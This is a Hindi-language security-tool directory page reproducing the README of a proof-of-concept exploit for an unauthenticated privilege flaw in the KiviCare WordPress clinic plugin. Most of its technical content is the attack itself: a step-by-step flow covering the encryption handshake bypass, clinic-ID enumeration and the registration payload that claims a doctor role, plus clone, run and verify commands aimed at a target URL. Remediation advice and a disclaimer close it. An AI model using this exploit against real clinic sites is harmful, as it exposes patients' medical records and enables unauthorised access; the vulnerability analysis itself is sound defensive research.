Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-13610 — KiviCare WordPress प्लगइन में अनुचित विशेषाधिकार प्रबंधन के माध्यम से बिना प्रमाणीकरण के डॉक्टर/रिसेप्शनिस्ट खाता निर्माण के लिए Exploit PoC, जो स्टाफ-स्तरीय PHI पहुंच प्रदान करता है। | Kitploit
उपकरण/GitHubGitHub/ghostpels/cve-2026-13610
प्रमाणीकरण और प्राधिकरणविशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंग
GitHubghostpels/cve-2026-13610

CVE-2026-13610

KiviCare WordPress प्लगइन में अनुचित विशेषाधिकार प्रबंधन के माध्यम से बिना प्रमाणीकरण के डॉक्टर/रिसेप्शनिस्ट खाता निर्माण के लिए Exploit PoC, जो स्टाफ-स्तरीय PHI पहुंच प्रदान करता है।

रिपॉजिटरी देखें
625 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-13610

KiviCare – क्लिनिक और रोगी प्रबंधन प्रणाली <= 4.5.1 — अनुचित विशेषाधिकार प्रबंधन के माध्यम से अप्रमाणित डॉक्टर/रिसेप्शनिस्ट खाता निर्माण

CWE-269 (अनुचित विशेषाधिकार प्रबंधन) | हमलावर द्वारा चुनी गई स्टाफ भूमिका के साथ अप्रमाणित पंजीकरण → रोगी PHI का खुलासा


अवलोकन

KiviCare – क्लिनिक और रोगी प्रबंधन प्रणाली WordPress प्लगइन (4.5.1 तक के संस्करण) में गंभीर भेद्यता जो अप्रमाणित हमलावरों को स्वयं-चुने गए पासवर्ड के साथ डॉक्टर (kiviCare_doctor) या रिसेप्शनिस्ट (kiviCare_receptionist) खाता पंजीकृत करने की अनुमति देती है, जो हमलावर की पसंद के क्लिनिक में मैप किया जाता है।

यह भेद्यता इसलिए मौजूद है क्योंकि सार्वजनिक पंजीकरण एंडपॉइंट user_role पैरामीटर को सीधे अनुरोध बॉडी से लेता है, और इसकी सत्यापन अनुमति-सूची में क्लिनिक स्टाफ भूमिकाएँ शामिल हैं:


भेद्यता विवरण


मूल कारण विश्लेषण

पंजीकरण एंडपॉइंट POST /wp-json/kivicare/v1/auth/register (app/controllers/api/AuthController.php:237–242) केवल checkRegistrationPermission() (:602–650) द्वारा संरक्षित है, जो:

  1. users_can_register सक्षम होने पर तुरंत true लौटाता है (कोई प्रमाणीकरण जाँच नहीं)।
  2. अन्यथा प्लगइन की अपनी भूमिका सेटिंग्स की जाँच करता है — जो डिफ़ॉल्ट रूप से अनुमति देती हैं क्योंकि KCOption::get() डिफ़ॉल्ट इंस्टॉल पर null लौटाता है।
  3. फ़ंक्शन के अंत में return true पर पहुँच जाता है।

इसके बाद register() हैंडलर (:1277–1387) अनुरोध बॉडी से user_role पढ़ता है, इसे KCDoctor / KCReceptionist मॉडल में मैप करता है, और $model->save() को कॉल करता है — जो wp_insert_user() और setRole('kiviCare_doctor') (app/models/KCDoctor.php:136) को बिना किसी प्राधिकरण जाँच के चलाता है। परिणामी खाता सक्रिय होता है और हमलावर द्वारा चुने गए क्लिनिक में मैप होता है।

प्लगइन की E2EE बॉडी एन्क्रिप्शन कोई बाधा नहीं है: हैंडशेक एंडपॉइंट (server-key, config/register-key) अप्रमाणित हैं (app/controllers/api/ConfigController.php:190–205), इसलिए कोई भी क्लाइंट अतिथि कुंजी पर बातचीत कर सकता है और एन्क्रिप्टेड पेलोड भेज सकता है।

पूर्ण विवरण: analysis/TECHNICAL_ANALYSIS.md


हमला प्रवाह

root@kitploit:~
1. हैंडशेक (एन्क्रिप्टेड लक्ष्य):
   POST /wp-json/kivicare/v1/server-key               -> सर्वर X25519 सार्वजनिक कुंजी
   POST /wp-json/kivicare/v1/config/register-key      -> अपनी सार्वजनिक कुंजी पंजीकृत करें
   (हेडर x_kc_client_id: <कुछ भी>, बॉडी {"public_key": "<base64>"})

2. सत्यापन ओरेकल के माध्यम से एक मान्य क्लिनिक ID की गणना करें:
   "Invalid clinic selected"  -> क्लिनिक मौजूद नहीं है
   "Username already exists"  -> क्लिनिक मौजूद है

3. पेलोड को एन्क्रिप्ट करें और भेजें:
   POST /wp-json/kivicare/v1/auth/register
   बॉडी = base64( nonce(24B) || crypto_box(json) )

   {
     "username": "attacker",
     "email": "[email protected]",
     "password": "P@ssw0rd-123!",
     "first_name": "Att", "last_name": "Acker",
     "mobile_number": "+15550133777",
     "gender": "male",
     "user_role": "kiviCare_doctor",     <-- भेद्य पैरामीटर
     "user_clinic": 1
   }

4. HTTP 201 "Registration successful." -> सक्रिय डॉक्टर खाता बनाया गया

5. wp-login.php या REST /auth/login के माध्यम से लॉगिन करें -> रोगी PHI तक स्टाफ पहुँच

स्थापना

root@kitploit:~
git clone https://github.com/ghostpels/CVE-2026-13610.git
cd CVE-2026-13610
pip install -r requirements.txt

उपयोग

पूर्व-उड़ान जाँच (लक्ष्य सेटिंग्स + E2EE हैंडशेक)

root@kitploit:~
python preflight.py http://target.com

डॉक्टर खाता बनाएँ (अप्रमाणित)

root@kitploit:~
python exploit.py --url http://target.com \
  --username attacker --email [email protected] --password 'P@ssw0rd-123!'

स्क्रिप्ट परिवहन मोड (सादा JSON बनाम E2EE-एन्क्रिप्टेड) का स्वतः पता लगाती है और --clinic प्रदान नहीं होने पर क्लिनिक ID की गणना करती है।

बनाए गए खाते से नैदानिक-डेटा पहुँच सिद्ध करें

root@kitploit:~
python verify_impact.py --url http://target.com \
  --username attacker --password 'P@ssw0rd-123!'

REST के माध्यम से लॉगिन करता है, खाते की E2EE प्रतिक्रिया कुंजी को पुनः बाँधता है, फिर केवल-स्टाफ एंडपॉइंट (/patients, /appointments) को कॉल करता है।

विकल्प (exploit.py)

root@kitploit:~
--url           लक्ष्य आधार URL (आवश्यक)
--username      बनाने के लिए उपयोगकर्ता नाम (डिफ़ॉल्ट: attacker<random>)
--email         ईमेल (डिफ़ॉल्ट: <username>@evil.example)
--password      पासवर्ड (डिफ़ॉल्ट: Poc!Passw0rd-2026)
--role          kiviCare_doctor (डिफ़ॉल्ट) | kiviCare_receptionist | kiviCare_patient
--clinic        क्लिनिक ID (छोड़े जाने पर स्वतः-गणना)
--mobile        मोबाइल नंबर (डिफ़ॉल्ट: यादृच्छिक +1555...)
--first-name    पहला नाम (डिफ़ॉल्ट: Dr)
--last-name     अंतिम नाम (डिफ़ॉल्ट: Poc)
--gender        लिंग (डिफ़ॉल्ट: male)
--no-verify     निर्माण के बाद लॉगिन सत्यापन छोड़ें

प्रभाव

सफल शोषण से एक सक्रिय स्टाफ खाता प्राप्त होता है जो एक वास्तविक क्लिनिक में मैप होता है, बिना किसी प्रमाणीकरण की आवश्यकता के:

  • रोगी PHI पढ़ें/निर्यात करें: मेडिकल रिकॉर्ड, परामर्श, नुस्खे, बिलिंग
  • अपॉइंटमेंट, सत्र, रिपोर्ट, नुस्खे बनाएँ/संपादित करें/हटाएँ
  • wp-admin डैशबोर्ड पहुँच (read + upload_files) वाला एक मान्य WordPress खाता — आगे के हमलों के लिए एक आधार

एंडपॉइंट WordPress administrator खाता बनाने की अनुमति नहीं देता (user_role अनुमति-सूची इसे अस्वीकार करती है), लेकिन डॉक्टर भूमिका पूर्ण नैदानिक-डेटा पहुँच के लिए पर्याप्त है।


निवारण

  1. अप्रमाणित पंजीकरणकर्ताओं के लिए रोगी भूमिका को बाध्य करें और घोषित patient_role_only पैरामीटर को लागू करें
  2. स्टाफ खाता निर्माण को current_user_can('create_users') + nonce सत्यापन के पीछे केवल-व्यवस्थापक एंडपॉइंट पर स्थानांतरित करें
  3. checkRegistrationPermission में डिफ़ॉल्ट रूप से अस्वीकार करें — फ़ॉलथ्रू return true हटाएँ
  4. reCAPTCHA सक्षम होने पर recaptchaToken आवश्यक करें (वर्तमान में वैकल्पिक)
  5. पैच किया गया संस्करण जारी होते ही KiviCare को अपडेट करें

संदर्भ

  • NVD प्रविष्टि
  • WordPress प्लगइन पृष्ठ
  • पूर्ण तकनीकी विश्लेषण
  • Patchstack.

अस्वीकरण

केवल शैक्षिक और अधिकृत परीक्षण प्रयोजनों के लिए।

यह उपकरण सुरक्षा शोधकर्ताओं और पैठ परीक्षकों के लिए है जिनके पास लक्ष्य प्रणालियों का परीक्षण करने के लिए स्पष्ट लिखित प्राधिकरण है। कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है। लेखक इस उपकरण के दुरुपयोग के लिए कोई दायित्व नहीं मानता है। सभी सत्यापन लेखक के अपने प्रयोगशाला बुनियादी ढाँचे पर किए गए थे।


लेखक

ghostpels — सुरक्षा अनुसंधान और शोषण विकास

लाइसेंस

यह परियोजना ghostpels सुरक्षा अनुसंधान लाइसेंस के अंतर्गत लाइसेंस प्राप्त है।

टूल डाउनलोड करें
गेटयह क्या करता हैपरिणाम
permission_callbackकोई is_user_logged_in() नहीं, कोई nonce नहीं, कोई क्षमता जाँच नहींपास; return true के साथ समाप्त होता है
user_role अनुमति-सूचीkiviCare_doctor, kiviCare_receptionist, kiviCare_patient स्वीकार करता हैहमलावर स्टाफ भूमिका चुनता है
patient_role_only पैरामीटरडिफ़ॉल्ट yes के साथ घोषितकभी नहीं पढ़ा जाता — मृत पैरामीटर
reCAPTCHAकेवल if (isset($params['recaptchaToken'])) पर मान्य किया जाता हैपैरामीटर को छोड़कर बाईपास किया जाता है
फ़ील्डमान
CVE IDCVE-2026-13610
CWECWE-269 (अनुचित विशेषाधिकार प्रबंधन)
प्लगइनKiviCare – क्लिनिक और रोगी प्रबंधन प्रणाली
प्रभावित4.5.1 तक के संस्करण
पैच किया गयाइस विश्लेषण के अनुसार पुष्टि नहीं हुई
प्रकारस्टाफ भूमिका के साथ अप्रमाणित खाता निर्माण (विशेषाधिकार वृद्धि)
शोधकर्ताSai Praneeth Koti
प्रकाशित2026